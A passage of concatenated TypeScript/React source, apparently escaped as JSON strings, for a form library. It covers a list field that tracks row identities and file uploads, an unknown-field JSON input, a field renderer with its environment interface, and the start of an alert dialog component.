[pending, rowMoves]);\n\n const setItem = (index: number, itemValue: unknown) => {\n const next = items.slice();\n next[index] = itemValue;\n onChange(next);\n };\n const removeItem = (index: number) => {\n // Drop the identity WITH the row rather than letting the length\n // reconciliation lop one off the end, or every row below this one would\n // take its neighbour's key and remount holding its neighbour's state. A\n // host that logs its moves records this one too, and the identities move\n // when the list replays it, on the one path every other move takes.\n if (!env?.rowMoves) setRowKeys((prev) => prev.filter((_, i) => i !== index));\n // A host that follows rows removes this one itself, moving what it keeps\n // by a later row's id along with the row, so there is nothing to hold back.\n const hostRemoves = env?.onRemoveItem;\n if (hostRemoves) {\n hostRemoves(id, index);\n return;\n }\n setStaleErrors((prev) => withRenumberedErrors(prev, id, index, env?.uploadErrors));\n onChange(items.filter((_, i) => i !== index));\n };\n const addItem = () => onChange([...items, emptyValue(field.item)]);\n const structuredRows = field.item.kind === 'object';\n\n // A file arriving anywhere in this list - a row that IS a dropzone, or one\n // that contains one - pins the row numbering until it lands. Removing a row\n // renumbers every row after it, and an upload the host is still holding\n // resolves against the ID it was handed at drop time: the file would be\n // written into whichever row had moved into that position. Silently, and with\n // the form still looking correctly filled.\n //\n // ADD stays available on purpose. Appending leaves every existing index where\n // it was, so an in-flight write-back is unaffected, and freezing it would make\n // filling a list of files needlessly serial.\n //\n // The host says which files are arriving through `uploadingIds`, and a list\n // of files adds the uploads it handed over itself, until each answers or the\n // host removes its row, so a host that reports no `uploadingIds` still has\n // those rows pinned.\n const busy = listIsBusy(id, env?.uploadingIds) || arriving.size > 0;\n\n // An upload failure is keyed by position like everything else here, and it\n // outlives its upload, so the busy rule above cannot cover it: removing a row\n // renumbers every row after it, and the host's message for `cvs.1` would then\n // show on whichever row moved into `cvs.1`, while the row that failed showed\n // nothing. A host handed only the shorter array cannot re-key its map, so\n // the list pays for the staleness where it creates it: each failure at a\n // renumbered position is held back from the rows until the host removes or\n // changes it, or a new file is dropped at that position. A host that takes\n // removals through `onRemoveItem` re-keys its map itself, and nothing is held\n // back from it (see `removeItem`).\n const hostErrors = env?.uploadErrors;\n useEffect(() => {\n setStaleErrors((prev) => {\n if (prev.size === 0) return prev;\n const next = new Map([...prev].filter(([key, message]) => hostErrors?.get(key) === message));\n return next.size === prev.size ? prev : next;\n });\n }, [hostErrors]);\n // A list of files keeps its own record of the uploads it hands the host, and\n // every one of them passes through here: a file dropped on a row as much as\n // one its drop area places, which calls the same `onDropFile`. Until an\n // upload a host returns answers, its row is that upload's write-back target,\n // kept from the area's next batch and from removal whether or not the host\n // reports `uploadingIds`. One entry per upload, because a row still waiting\n // can take a second file dropped on it directly, and the first answer must\n // not free it. A throw is not caught here: the row's dropzone reports it.\n const fileItem =\n field.item.kind === 'document' || field.item.kind === 'image' ? field.item : null;\n const tracksUploads = fileItem !== null;\n const rowEnv = useMemo<FieldEnv | undefined>(() => {\n if (!env || (staleErrors.size === 0 && !tracksUploads)) return env;\n const drop = env.onDropFile;\n const uploadErrors =\n staleErrors.size === 0\n ? env.uploadErrors\n : new Map(\n [...(env.uploadErrors ?? [])].filter(\n ([key, message]) => staleErrors.get(key) !== message,\n ),\n );\n return {\n ...env,\n uploadErrors,\n onDropFile: drop\n ? (dropId, file) => {\n // A new file at a position is a new attempt there, so what the host\n // says about that position from now on is about the file that is there.\n setStaleErrors((prev) => {\n if (!prev.has(dropId)) return prev;\n const next = new Map(prev);\n next.delete(dropId);\n return next;\n });\n const upload = drop(dropId, file);\n if (tracksUploads && isThenable(upload)) {\n const token = nextUpload.current++;\n const seq = env.rowMoves?.[env.rowMoves.length - 1]?.seq ?? 0;\n setPending((prev) => new Map(prev).set(token, { id: dropId, seq }));\n // Both outcomes, so a rejection, which the host reports through\n // `uploadErrors` on the row, is never left unhandled here.\n const answered = () => setPending((prev) => withoutUpload(prev, token));\n void Promise.resolve(upload).then(answered, answered);\n }\n return upload;\n }\n : undefined,\n };\n }, [env, staleErrors, tracksUploads]);\n // A `Concept[N]` slot is full at N. The bound is the method's, read off the\n // same `maxItems` ajv enforces, so offering one more row would offer one the\n // gate then refuses. It is deliberately NOT `itemCount`, which is the LOWER\n // bound: a schema stating \"at least two\" would otherwise be presented as a\n // list of exactly two, with Add dead over a list the method lets you grow.\n const isFull = field.maxItemCount !== undefined && items.length >= field.maxItemCount;\n\n // A list of files takes several of the host's files at once: into the rows\n // the person added and left empty first, then as new rows after the last\n // (`addChosenFiles`), so its room is its bound less the files it holds. A\n // list of structures holding a file does not: a file is not a structure, so\n // each nested file field offers its own. It is shut while a row's file is\n // arriving, as the remove buttons are, because the row an upload will write\n // back to is still empty and would otherwise be filled under it.\n const fileSource = env?.fileSource;\n const room = roomForChosenFiles(items, field.maxItemCount);\n\n // A list of files also takes several files from the person's device at once,\n // dropped or picked on a drop area of its own, exactly when the host can\n // upload one. Each accepted file goes into a free row first, then into a new\n // one (`placeDroppedFiles`), and is handed to the host as if it had been\n // dropped on that row. A row is free when it holds no file, no file is still\n // arriving there (its write-back's target, which must not be filled under\n // it: the host says so through `uploadingIds`, and the list knows it of the\n // uploads it handed over itself, see `rowEnv`) and the rows show no failure there (the\n // only record that one of the person's files did not arrive). The area stays\n // open while files are arriving, as Add does, because appending moves no row\n // and the free-row test never targets one in flight. See docs/upload-seam.md,\n // \"A list of files takes several files at once\".\n const dropFile = rowEnv?.onDropFile;\n const dropOffered = fileItem !== null && dropFile !== undefined;\n const isFreeRow = (index: number) => {\n const rowId = `${id}.${index}`;\n return (\n !arriving.has(rowId) && !env?.uploadingIds?.has(rowId) && !rowEnv?.uploadErrors?.has(rowId)\n );\n };\n const dropRoom = dropOffered ? roomForDroppedFiles(items, field.maxItemCount, isFreeRow) : 0;\n const dropOpen = dropOffered && !env?.disabled && dropRoom !== 0;\n // The files placed and not yet taken by their row's field, by row id; see\n // `ListDropArea`.\n const placed = useRef(new Map<string, PlacedFile>());\n const [placements, setPlacements] = useState(0);\n const dropArea = useMemo<ListDropArea | null>(() => {\n if (!dropOffered) return null;\n return {\n generation: placements,\n open: dropOpen,\n takePlaced: (rowId) => {\n const file = placed.current.get(rowId);\n placed.current.delete(rowId);\n return file;\n },\n };\n }, [dropOffered, dropOpen, placements]);\n // The drop area, and the row focus goes to when a pick made from the keyboard\n // fills the list: the area shuts as the list fills, and the input that held\n // focus is disabled under it. As after a choice in the sheet, focus goes to\n // the last row filled, or on past the area when that row has nothing to take\n // it yet, as a row whose file is still arriving does not.\n const dropRef = useRef<HTMLDivElement>(null);\n const landing = useRef<number | null>(null);\n useEffect(() => {\n const landed = landing.current;\n if (landed === null) return;\n landing.current = null;\n const rows = rowsRef.current?.querySelectorAll(':scope > [data-list-row]');\n const target =\n firstFocusable(rows?.[landed]) ?? followingFocusable(dropRef.current, dropRef.current);\n target?.focus();\n });\n const placeFiles = (files: readonly File[]): number => {\n if (!dropFile) return 0;\n const placement = placeDroppedFiles(items, files.length, field.maxItemCount, isFreeRow);\n // Written before the first upload is asked for, so a host that records what\n // each upload was dropped over sees the rows it is dropped into.\n if (placement.appended > 0) onChange(placement.items);\n // `dropFile` is the rows' own `onDropFile`, so each upload handed over here\n // is recorded as arriving exactly as one dropped on the row is.\n placement.targets.forEach((index, order) => {\n const file = files[order];\n if (!file) return;\n const rowId = `${id}.${index}`;\n placed.current.set(rowId, { file, upload: handOver(dropFile, rowId, file) });\n });\n const count = placement.targets.length;\n if (count > 0) setPlacements((generation) => generation + 1);\n if (count > 0 && count === dropRoom && dropRef.current?.contains(document.activeElement)) {\n landing.current = placement.targets[count - 1] ?? null;\n }\n return count;\n };\n\n return (\n <div className=\"space-y-2\">\n <div className=\"flex flex-wrap items-baseline gap-x-2 gap-y-1\">\n <span\n className={cn(\n 'text-[13px] font-medium leading-none text-foreground',\n isApp ? 'text-[13.5px]' : 'font-mono',\n )}\n >\n {fieldLabel(field.title, field.name, presentation)}\n </span>\n {!isApp && <ConceptPill conceptRef={field.conceptRef} category=\"list\" />}\n <span className={cn('text-[10.5px] text-muted-foreground', !isApp && 'font-mono')}>\n {/* \"of N\" is a claim about an EXACT count, so it needs both bounds and\n needs them equal. Read off `itemCount` alone - the LOWER bound - a\n model saying \"at least two\" was announced as a list of exactly two\n and then read `3 of 2 items` the moment a third row arrived. Every\n other list is a plain count, which is the honest thing to say\n about a slot with room to grow. */}\n {field.itemCount !== undefined && field.maxItemCount === field.itemCount\n ? s.itemsCountOf(items.length, field.itemCount)\n : s.itemsCount(items.length)}\n </span>\n {shownAsOptional(field) && (\n <span\n className={cn(\n 'ml-auto text-[10px] uppercase tracking-wider text-muted-foreground',\n !isApp && 'font-mono',\n )}\n >\n {s.optionalBadge}\n </span>\n )}\n </div>\n {field.description && (\n <p className=\"text-[12px] leading-relaxed text-muted-foreground\">{field.description}</p>\n )}\n\n <div ref={rowsRef} className=\"space-y-2\">\n {/* With a drop area, the area stands in for this line: its own words\n say what to do, and three dashed boxes one above another would read\n as three equal choices. */}\n {items.length === 0 && !dropOffered && (\n <p className=\"rounded-md border border-dashed border-border bg-input/50 px-3 py-4 text-center text-[12px] text-muted-foreground\">\n {s.noItemsYet}\n </p>\n )}\n <ListDropAreaContext.Provider value={dropArea}>\n {items.map((item, index) => (\n <div\n key={rowKeys[index] ?? index}\n data-list-row\n className={cn(\n 'rounded-md border border-border bg-card/40 p-3',\n // A row holding a structure puts its number and its remove\n // button on a line of their own, so its fields take the row's\n // whole width: beside the button every input in the row ended\n // a button short of the edge, a third of a phone's row.\n structuredRows\n ? 'grid grid-cols-[auto_minmax(0,1fr)_auto] items-center gap-x-2 gap-y-1'\n : 'flex items-start gap-2',\n )}\n >\n <span\n className={cn(\n 'shrink-0 font-mono text-[11px] text-muted-foreground',\n structuredRows ? 'col-start-1 row-start-1' : 'mt-1 w-5 text-center',\n )}\n >\n {index + 1}\n </span>\n <div className={structuredRows ? 'col-span-3 row-start-2 min-w-0' : 'min-w-0 flex-1'}>\n <FieldRenderer\n // `required: true`: a row is in the array because the person\n // added it, so it is never optional - an object row is never an\n // optional structure that folds or closes.\n field={{\n ...field.item,\n title: '',\n name: `${field.name}[${index}]`,\n required: true,\n }}\n value={item}\n onChange={(v) => setItem(index, v)}\n id={`${id}.${index}`}\n env={rowEnv}\n />\n </div>\n <button\n type=\"button\"\n onClick={() => removeItem(index)}\n disabled={env?.disabled || busy}\n aria-label={s.removeItemAria(index + 1)}\n className={cn(\n 'flex h-7 w-7 shrink-0 items-center justify-center rounded-md text-muted-foreground transition-colors hover:bg-muted hover:text-destructive disabled:opacity-50 max-sm:size-11',\n structuredRows ? 'col-start-3 row-start-1' : 'mt-0.5 max-sm:mt-0',\n focusOutlineClass,\n )}\n >\n <Trash2 className=\"h-3.5 w-3.5\" />\n </button>\n </div>\n ))}\n </ListDropAreaContext.Provider>\n\n {dropOffered && fileItem && (\n <div ref={dropRef}>\n <ListFileDrop\n label={fieldLabel(field.title, field.name, presentation)}\n formats={fileItem.formats}\n shut={!dropOpen}\n onPlace={placeFiles}\n />\n </div>\n )}\n\n <button\n type=\"button\"\n onClick={addItem}\n disabled={env?.disabled || isFull}\n className={cn(\n 'inline-flex h-9 w-full items-center justify-center gap-1.5 rounded-md border border-dashed border-border text-[13px] text-muted-foreground transition-colors max-sm:h-11',\n // The edge under the pointer is the accent's, as a selected pill's\n // is; the fill under it stays neutral.\n 'hover:bg-muted hover:text-foreground disabled:cursor-not-allowed disabled:opacity-50',\n selectedHoverBorderClass,\n focusOutlineClass,\n )}\n >\n <Plus className=\"h-4 w-4\" />\n {s.addItem}\n </button>\n {fileSource && fileItem && (\n <>\n <FilePickerEntry\n ref={pickerEntryRef}\n label={fieldLabel(field.title, field.name, presentation)}\n disabled={env?.disabled || busy || room === 0}\n onOpen={() => setPickerOpen(true)}\n />\n <FilePicker\n source={fileSource}\n formats={fileItem.formats}\n multiple\n maxChoices={room}\n held={items}\n open={pickerOpen}\n onOpenChange={setPickerOpen}\n disabled={env?.disabled || busy}\n returnFocusTo={pickerEntryRef}\n onCloseAutoFocus={(event) => {\n // Focus goes back to the row that opened the sheet, unless the\n // choice filled the list and shut that row: then to the row\n // the last chosen file was written into.\n const landed = landedRow.current;\n landedRow.current = null;\n if (landed === null || !pickerEntryRef.current?.disabled) return;\n const rows = rowsRef.current?.querySelectorAll(':scope > [data-list-row]');\n const target = firstFocusable(rows?.[landed]);\n if (!target) return;\n event.preventDefault();\n target.focus();\n }}\n onUse={(files) => {\n const next = addChosenFiles(items, files);\n landedRow.current = lastWrittenRow(items, next);\n onChange(next);\n }}\n />\n </>\n )}\n </div>\n {error && (\n <p className=\"text-[11px] text-destructive\" role=\"alert\">\n {error}\n </p>\n )}\n </div>\n );\n}\n\n/**\n * The last row `addChosenFiles` wrote into, or `null` when it wrote none. It\n * copies the rows it leaves alone, so a written row is one that changed.\n */\nfunction lastWrittenRow(before: readonly unknown[], after: readonly unknown[]): number | null {\n let index = after.length - 1;\n while (index >= 0 && after[index] === before[index]) index -= 1;\n return index >= 0 ? index : null;\n}\n\n/**\n * True when a file is arriving anywhere inside this list.\n *\n * A prefix test rather than an exact one, because the busy row is not always the\n * list's own row: a list of DOCUMENTS uploads at `cvs.1`, a list of structures\n * holding a document uploads at `cvs.1.resume`. The dot is what keeps `cvs.` off\n * a sibling input called `cvs_extra`.\n */\nfunction listIsBusy(id: string, uploadingIds: ReadonlySet<string> | undefined): boolean {\n if (!uploadingIds?.size) return false;\n const prefix = `${id}.`;\n for (const uploading of uploadingIds) if (uploading.startsWith(prefix)) return true;\n return false;\n}\n\nconst NO_ERRORS: ReadonlyMap<string, string> = new Map();\nconst NO_IDS: ReadonlySet<string> = new Set();\n\n/** An upload a list handed the host: the id it was handed, and the newest logged move then. */\ninterface PendingUpload {\n id: string;\n seq: number;\n}\nconst NO_UPLOADS: ReadonlyMap<number, PendingUpload> = new Map();\n\n/** `uploads` without the one under `token`, the same map when it was not there. */\nfunction withoutUpload(\n uploads: ReadonlyMap<number, PendingUpload>,\n token: number,\n): ReadonlyMap<number, PendingUpload> {\n if (!uploads.has(token)) return uploads;\n const next = new Map(uploads);\n next.delete(token);\n return next;\n}\n\n/**\n * The ids of the rows the pending uploads belong to now: the id each was\n * handed, carried through every move logged after it by `movedId`, which works\n * on the whole path, so a move of an outer list's rows renames it too. An\n * upload whose row a move removed belongs to no row.\n */\nfunction arrivingRows(\n uploads: ReadonlyMap<number, PendingUpload>,\n moves: readonly RowMove[] | undefined,\n): ReadonlySet<string> {\n if (uploads.size === 0) return NO_IDS;\n const rows = new Set<string>();\n for (const upload of uploads.values()) {\n let at: string | undefined = upload.id;\n for (const move of moves ?? []) {\n if (at === undefined) break;\n if (move.seq > upload.seq) at = movedId(at, move.listId, destinationOf(move.order));\n }\n if (at !== undefined) rows.add(at);\n }\n return rows;\n}\n\n/**\n * Hands a file the drop area placed to the host's `onDropFile`, and reads a\n * throw as an upload that failed, as `useMethodForm` reads one from its\n * `uploadFile`: the rest of the batch is still handed over, and the row is not\n * left waiting on a file that never left. The error is still reported, as a\n * throw for a file dropped on a row is by the dropzone that called the host,\n * so a host's bug does not vanish into a batch that otherwise went through.\n */\nfunction handOver(drop: NonNullable<FieldEnv['onDropFile']>, rowId: string, file: File): unknown {\n try {\n return drop(rowId, file);\n } catch (error) {\n reportHostError(error);\n // Marked handled now, as the error has just been reported: the row reads\n // the rejection once it takes its file, which is a render later.\n const failed = Promise.reject(error);\n failed.catch(() => {});\n return failed;\n }\n}\n\n/**\n * Reports a host's error to the page's error handlers, where a browser reports\n * an uncaught one and a host's error tracking listens, or to the console on a\n * platform without `reportError`, which is where react-dropzone reports one.\n */\nfunction reportHostError(error: unknown): void {\n if (typeof globalThis.reportError === 'function') globalThis.reportError(error);\n // eslint-disable-next-line no-console -- the platform has no `reportError`.\n else console.error(error);\n}\n\n/**\n * The failures a removal at `removed` leaves at the wrong position: every entry\n * the host holds for this list's rows at that index or after it, since each of\n * those positions now names a different row, or none. Nested ids count by their\n * row (`cvs.2.resume` is row 2), and the dot keeps a sibling input called\n * `cvs_extra` out, as in `listIsBusy`.\n */\nfunction withRenumberedErrors(\n stale: ReadonlyMap<string, string>,\n listId: string,\n removed: number,\n hostErrors: ReadonlyMap<string, string> | undefined,\n): ReadonlyMap<string, string> {\n if (!hostErrors?.size) return stale;\n const prefix = `${listId}.`;\n const next = new Map(stale);\n for (const [key, message] of hostErrors) {\n if (!key.startsWith(prefix)) continue;\n const row = key.slice(prefix.length).split('.')[0] ?? '';\n if (/^\\d+$/.test(row) && Number(row) >= removed) next.set(key, message);\n }\n return next.size === stale.size && [...next].every(([k, m]) => stale.get(k) === m) ? stale : next;\n}\n\ninterface RowKeyState {\n keys: number[];\n next: number;\n /** The `seq` of the last of the host's row moves this list has replayed. */\n seq: number;\n /** The list's id as it stood after that move: an outer list's move renames it. */\n id: string;\n}\n\n/**\n * One identity per row, minted when the row appears and kept until it goes.\n *\n * The keys are React keys and nothing else - they are never rendered, never put\n * in an ID, and never leave this control - so the counter lives in component\n * state rather than in a module, and a server render and its hydration can\n * disagree about the numbers without disagreeing about the markup.\n *\n * A row moves its identity in one of two ways. A host that logs its row moves\n * (`FieldEnv.rowMoves`, as `useMethodForm` does) is replayed: every move made\n * to this list since it last rendered permutes the keys as it permuted the\n * rows, and a move of an outer list's rows renames this list on the way, so a\n * move made under its new id is still recognised. Without a log, `removeItem`\n * drops the right key itself.\n *\n * Both adjustments run during render, which is the supported way to adjust\n * state when props change: React re-renders immediately without committing the\n * first pass. The length reconciliation after them is the fallback for a value\n * that changed from OUTSIDE the control with nothing said about it (a host\n * seeding or replacing `values`), where there is nothing to match rows by and\n * length is the only honest answer.\n */\nfunction useRowKeys(\n length: number,\n id: string,\n moves: readonly RowMove[] | undefined,\n): [number[], (update: (prev: number[]) => number[]) => void] {\n const latest = moves?.[moves.length - 1]?.seq ?? 0;\n const [state, setState] = useState<RowKeyState>(() => ({\n keys: Array.from({ length }, (_, i) => i),\n next: length,\n seq: latest,\n id,\n }));\n\n if (state.seq !== latest || state.id !== id || state.keys.length !== length) {\n setState((prev) => withLength(replayed(prev, moves, latest, id), length));\n }\n\n const update = (fn: (prev: number[]) => number[]) =>\n setState((prev) => ({ ...prev, keys: fn(prev.keys) }));\n\n return [state.keys, update];\n}\n\n/**\n * The row keys once every move in `moves` newer than the last one replayed is\n * replayed: a move of this list's rows permutes them, a key for a row that was\n * not known yet being minted, and a move of an outer list's rows only renames\n * the list. The state then records `latest` and the list's id as it is now.\n */\nfunction replayed(\n state: RowKeyState,\n moves: readonly RowMove[] | undefined,\n latest: number,\n id: string,\n): RowKeyState {\n let { keys, next } = state;\n let tracked: string | undefined = state.id;\n for (const move of moves ?? []) {\n if (move.seq <= state.seq || tracked === undefined) continue;\n if (move.listId === tracked) {\n const before = keys;\n keys = [];\n for (const source of move.order) {\n const key = before[source];\n if (key === undefined) keys.push(next++);\n else keys.push(key);\n }\n } else {\n tracked = movedId(tracked, move.listId, destinationOf(move.order));\n }\n }\n return { keys, next, seq: latest, id };\n}\n\n/** The row keys cut or extended to `length`, extended ones minted fresh. */\nfunction withLength(state: RowKeyState, length: number): RowKeyState {\n if (state.keys.length === length) return state;\n if (length < state.keys.length) return { ...state, keys: state.keys.slice(0, length) };\n const added = length - state.keys.length;\n return {\n ...state,\n keys: [...state.keys, ...Array.from({ length: added }, (_, i) => state.next + i)],\n next: state.next + added,\n };\n}\n\n/** A sensible empty starting value for a freshly added list item. */\nfunction emptyValue(field: RunField): unknown {\n switch (field.kind) {\n case 'boolean':\n return false;\n case 'object':\n return {};\n case 'list':\n return [];\n case 'document':\n case 'image':\n return undefined;\n default:\n return undefined;\n }\n}\n","'use client';\n\nimport { shownAsOptional } from '../core/readiness';\nimport { cn } from './utils';\nimport type { UnknownRunField } from '../core';\nimport { FieldShell } from './field-shell';\nimport { useFieldStrings } from './field-strings';\nimport { fieldControlClass } from './field-styles';\nimport { useFieldDomId } from './field-dom-id';\n\ninterface UnknownFieldProps {\n field: UnknownRunField;\n value: string | undefined;\n onChange: (value: string | undefined) => void;\n id: string;\n error?: string;\n disabled?: boolean;\n}\n\n/**\n * Escape hatch for a concept whose shape we can't map to a known control. Rather\n * than block the run, we let the user hand-write the value as JSON - rare, but it\n * keeps every method runnable instead of dead-ending on an unusual input.\n */\nexport function UnknownField({ field, value, onChange, id, error, disabled }: UnknownFieldProps) {\n const s = useFieldStrings();\n const domId = useFieldDomId(id);\n return (\n <FieldShell\n name={field.name}\n title={field.title}\n conceptRef={field.conceptRef}\n category=\"structured\"\n description={field.description ?? s.jsonHint}\n required={!shownAsOptional(field)}\n error={error}\n htmlFor={domId}\n >\n <textarea\n id={domId}\n value={value ?? ''}\n disabled={disabled}\n aria-invalid={!!error}\n rows={3}\n spellCheck={false}\n placeholder={'{\\n \"key\": \"value\"\\n}'}\n onChange={(e) => onChange(e.target.value === '' ? undefined : e.target.value)}\n className={cn(fieldControlClass, 'min-h-[80px] resize-y px-3 py-2.5 font-mono text-[12px]')}\n />\n </FieldShell>\n );\n}\n","'use client';\n\nimport type { RunField } from '../core';\nimport { BooleanField } from './boolean-field';\nimport { DateField } from './date-field';\nimport { DocumentField, ImageField, type FileValue, type UploadedFile } from './file-field';\nimport type { FilePickerSource } from './file-picker';\nimport { EnumField } from './enum-field';\nimport { NumberField } from './number-field';\nimport { ProseField, TextField } from './text-field';\nimport { ObjectField } from './object-field';\nimport { ListField } from './list-field';\nimport type { RowMove } from './row-moves';\nimport { UnknownField } from './unknown-field';\n\n/**\n * Ambient state that any field in the tree may need, threaded unchanged through\n * the recursion so containers don't have to re-plumb it for every child.\n */\nexport interface FieldEnv {\n disabled?: boolean;\n /**\n * A file field asks its parent to upload; the parent sets the value later.\n *\n * It may return the upload: a promise of what it stored (`UploadedFile`),\n * whose URL is the one the host writes at the id, rejected when the upload\n * writes nothing. The field then knows its upload's own result by that URL,\n * so the dropped file's preview is kept for it whichever render the host\n * writes it in. A host that returns nothing must write the result in the\n * render it takes the id out of `uploadingIds`. `useMethodForm`'s `dropFile`\n * returns its upload. See docs/upload-seam.md, \"The local preview belongs to\n * the value it was made for\".\n *\n * Its presence is the capability. A host that supplies it gets a dropzone on\n * every file field; a host that does not gets no dropzone and no file picker,\n * because a file taken with nowhere to go used to be dropped without a word.\n * See docs/upload-seam.md, \"Which ways into a file value a host offers\".\n */\n onDropFile?: (id: string, file: File) => void | PromiseLike<UploadedFile | void>;\n /**\n * Whether a file field offers a link input, the way in that needs no upload.\n * `true` when absent; `false` hides the \"paste a URL instead\" toggle and the\n * input behind it on every file field.\n *\n * It governs that input and nothing else. A file value is a URL whichever way\n * it arrived, so this says nothing about which values are valid: a web link\n * the host writes is still shown on the field's card and can still be\n * cleared. Setting it to `false` with no `onDropFile` leaves a file field no\n * way in at all, and the field throws, naming its path, when it renders.\n */\n allowUrl?: boolean;\n /**\n * Removes a list's row on the host's side: `listId` is the list's id, the\n * one its rows' ids extend (`cvs` for `cvs.1`), and `index` the row's.\n *\n * Its presence is the capability, and it is the host saying it follows\n * rows. A list hands each removal to it instead of writing the shorter list\n * through `onChange`, so the host removes the row and, in the same update,\n * moves to its new id whatever it keeps by the id of a later row (an entry\n * of `uploadErrors`, an upload in flight) and drops what it kept for the\n * removed one. The list then holds back none of the host's `uploadErrors`,\n * which it does for a host without this callback, since that host is\n * handed only the shorter list and cannot re-key them. A host that also\n * gives `rowMoves` records the removal there, and the list moves its rows'\n * identities from that record alone. `useMethodForm`'s `removeItem` is this\n * callback. See docs/upload-seam.md, \"A list does not move a failure onto\n * another row\".\n */\n onRemoveItem?: (listId: string, index: number) => void;\n /**\n * Every move the host has made to a list's rows, oldest first, each\n * numbered above the one before it (`RowMove`).\n *\n * A list keys each row's controls by an identity of its own, so that a row\n * keeps them (a caret, a dropped file's preview, a dismissed failure) when\n * an earlier row goes. It moves those identities itself for a removal it\n * writes through `onChange`; for everything else a host does to the rows it\n * would see only a new list, and match rows by position. Given this, a list\n * replays every move made to it since it last rendered, the ones made to an\n * outer list's rows included, which rename it, and moves no identity of its\n * own accord: a host giving it records every move it makes here, a removal\n * handed to `onRemoveItem` included. `useMethodForm`'s `rowMoves` is this\n * log. See docs/upload-seam.md, \"What the form keeps by id moves with the\n * rows it moves\".\n */\n rowMoves?: readonly RowMove[];\n /** Ids currently mid-upload. */\n uploadingIds?: ReadonlySet<string>;\n /**\n * Why an upload failed, keyed by the same id `onDropFile` was handed, so the\n * message shows on the field that took the file rather than under the whole\n * form, where only its wording could say which input failed.\n *\n * The map is the host's truth about each upload attempt: a host removes an\n * entry when the next file is dropped at that id, and sets it again if that\n * upload fails too. A clear or a typed link on the field hides the message\n * until the host sends a different one or removes it, and a list holds back\n * the entries a row removal left at a renumbered position, unless the host\n * re-keys them itself through `onRemoveItem`. A host should\n * also remove an entry once another file, or none, is written at its id, so\n * that a control mounted there later shows no failure under it:\n * `useMethodForm` does this for every write of its values.\n */\n uploadErrors?: ReadonlyMap<string, string>;\n /** Resolve a `pipelex-storage://` URI to a browser-viewable URL (for previews\n * of already-stored files). */\n resolveUrl?: (uri: string) => Promise<string | null>;\n /**\n * Where a file field can take a file the host already stores. Its presence\n * is the capability, as `onDropFile`'s is: every empty file field then\n * offers \"Choose from your team's files\", and a list of files offers it for\n * several at once. The choice is written as `{ url, filename }`, exactly as\n * an upload's result is. Its `renderGlyph`, when given, draws each row's\n * glyph in the sheet. See docs/sources.md.\n */\n fileSource?: FilePickerSource;\n}\n\nexport interface FieldRendererProps {\n field: RunField;\n value: unknown;\n onChange: (value: unknown) => void;\n /** Unique, stable id used for label linkage and upload tracking. */\n id: string;\n error?: string;\n env?: FieldEnv;\n}\n\n/**\n * The single dispatch point: a normalized `RunField` → the matching control.\n * Object and list fields recurse back through here, so the whole form is one\n * data-driven tree with no per-type branching anywhere else.\n */\nexport function FieldRenderer({ field, value, onChange, id, error, env }: FieldRendererProps) {\n const disabled = env?.disabled;\n // Handed to a file control only when the host supplied one, so the control can\n // tell a host that uploads from one that does not. Wrapping it unconditionally\n // is what gave every file field an armed dropzone over a callback that did\n // nothing.\n const drop = env?.onDropFile;\n\n switch (field.kind) {\n case 'text':\n return (\n <TextField\n field={field}\n value={value as string | undefined}\n onChange={onChange}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n case 'prose':\n return (\n <ProseField\n field={field}\n value={value as string | undefined}\n onChange={onChange}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n case 'date':\n return (\n <DateField\n field={field}\n value={value as string | undefined}\n onChange={onChange}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n case 'number':\n return (\n <NumberField\n field={field}\n value={value as number | undefined}\n onChange={onChange}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n case 'boolean':\n return (\n <BooleanField\n field={field}\n value={value as boolean | undefined}\n onChange={onChange}\n id={id}\n disabled={disabled}\n />\n );\n case 'enum':\n return (\n <EnumField\n field={field}\n value={value as string | undefined}\n onChange={onChange}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n case 'document':\n return (\n <DocumentField\n field={field}\n value={value as FileValue | undefined}\n onChange={onChange}\n onDropFile={drop ? (file) => drop(id, file) : undefined}\n allowUrl={env?.allowUrl}\n uploading={env?.uploadingIds?.has(id)}\n uploadError={env?.uploadErrors?.get(id)}\n resolveUrl={env?.resolveUrl}\n fileSource={env?.fileSource}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n case 'image':\n return (\n <ImageField\n field={field}\n value={value as FileValue | undefined}\n onChange={onChange}\n onDropFile={drop ? (file) => drop(id, file) : undefined}\n allowUrl={env?.allowUrl}\n uploading={env?.uploadingIds?.has(id)}\n uploadError={env?.uploadErrors?.get(id)}\n resolveUrl={env?.resolveUrl}\n fileSource={env?.fileSource}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n case 'object':\n return (\n <ObjectField\n field={field}\n value={value as Record<string, unknown> | undefined}\n onChange={onChange}\n id={id}\n error={error}\n env={env}\n />\n );\n case 'list':\n return (\n <ListField\n field={field}\n value={value as unknown[] | undefined}\n onChange={onChange}\n id={id}\n error={error}\n env={env}\n />\n );\n default:\n return (\n <UnknownField\n field={field}\n value={value as string | undefined}\n onChange={onChange}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n }\n}\n","'use client';\n\nimport * as React from 'react';\nimport * as AlertDialogPrimitive from '@radix-ui/react-alert-dialog';\n\nimport { headingClass } from '../style-tokens';\nimport { cn } from '../utils';\nimport { closeAutoFocus, DialogSurface, type ReturnFocus } from './dialog';\n\n/*\n * The vendored alert dialog, over `@radix-ui/react-alert-dialog`: the question\n * asked before something is replaced or deleted. Its role is `alertdialog`, a\n * click outside never dismisses it, and focus opens on Cancel, so Enter never\n * confirms by accident. Drawn in place like `./dialog`, for the same reason,\n * and given `returnFocus` like it, since no question here has a `Trigger`.\n */\n\nconst AlertDialog = AlertDialogPrimitive.Root;\n\nconst AlertDialogContent = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Content> & {\n /** Where focus goes when the question closes. See `closeAutoFocus`. */\n returnFocus?: ReturnFocus;\n }\n>(({ className, returnFocus, onCloseAutoFocus, ...props }, ref) => (\n <DialogSurface>\n <AlertDialogPrimitive.Overlay className=\"fixed inset-0 z-50 bg-black/50\" />\n <AlertDialogPrimitive.Content\n ref={ref}\n className={cn(\n 'fixed inset-0 z-50 m-auto grid h-fit w-[calc(100%-2rem)] max-w-sm gap-3 rounded-lg border border-border bg-popover p-4 text-popover-foreground shadow-lg outline-hidden',\n className,\n )}\n onCloseAutoFocus={closeAutoFocus(onCloseAutoFocus, returnFocus)}\n {...props}\n />\n 